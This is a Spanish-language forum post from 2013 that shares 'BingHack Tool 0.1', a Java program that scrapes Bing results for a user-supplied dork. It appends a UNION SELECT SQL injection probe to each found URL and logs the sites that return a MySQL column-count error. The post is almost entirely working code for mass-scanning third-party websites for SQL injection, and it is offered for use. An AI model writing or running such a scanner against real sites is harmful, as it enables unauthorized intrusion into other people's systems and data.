[Java] BingHack Tool 0.1

Iniciado por BigBear, Enero 12, 2013, 11:43:37 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Un simple programa para buscar en Bing paginas vulnerables a SQLI.

Código: java

//
//BingHack Tool 0.1
//Coded By Doddy H
//

import java.util.Scanner;
import java.io.*;
import java.net.*;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Main {

    public static void main(String[] args) throws Exception {

        String code;
        String tar;
        int x;
        String dork;
        int counte;
        String urlfinal;

        Pattern uno = null;
        Matcher dos = null;

        Scanner host = new Scanner(System.in);
        System.out.println("\n\n-- == BingHack Tool 0.1 == --\n\n");
        System.out.println("[+] Dork : ");
        dork = host.nextLine();

        System.out.println("[+] Count : ");
        counte = host.nextInt();

        System.out.println("\n[+] Searching ...\n");

        for (x = 10; x <= counte; x = x + 10) {

            code = toma("http://www.bing.com/search?q=" + dork + "&first=" + x);

            uno = Pattern.compile("<h3><a href=\"(.*?)\"");
            dos = uno.matcher(code);

            while (dos.find()) {

                urlfinal = cortar(dos.group(1));

                sql(urlfinal);

            }

        }

        System.out.println("\n[+] Finished");
        System.out.println("\n-- == Coded By Doddy H == --");

    }

    private static void savefile(String nombre, String texto) throws Exception {

        FileWriter writer = new FileWriter(nombre, true);
        writer.write(texto + "\r\n");
        writer.close();

    }

    private static void sql(String urla) throws Exception {

        String code;
        String mostrar;

        Pattern uno = null;
        Matcher dos = null;

        mostrar = urla + "-1+union+select+666--";

        try {
            code = toma(mostrar);

            uno = Pattern.compile("The used SELECT statements have a different number of columns");
            dos = uno.matcher(code);

            if (dos.find()) {
                System.out.println("[+] SQLI : " + urla);
                savefile("sql-logs.txt", urla);
            }

        } catch (Exception ex) {
        }

    }

    private static String cortar(String urla) throws Exception {

        Pattern uno = null;
        Matcher dos = null;

        uno = Pattern.compile("(.*)=(.*)");
        dos = uno.matcher(urla);

        if (dos.find()) {

            return (dos.group(1) + "=");
        } else {
            return "no tengo idea xDD";
        }

    }

    private static String toma(String urla) throws Exception {

        String re;

        StringBuffer conte = new StringBuffer(40);

        URL url = new URL(urla);
        URLConnection hc = url.openConnection();
        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

        BufferedReader nave = new BufferedReader(
                new InputStreamReader(hc.getInputStream()));

        while ((re = nave.readLine()) != null) {
            conte.append(re);
        }

        nave.close();

        return conte.toString();

    }
}

//The End ?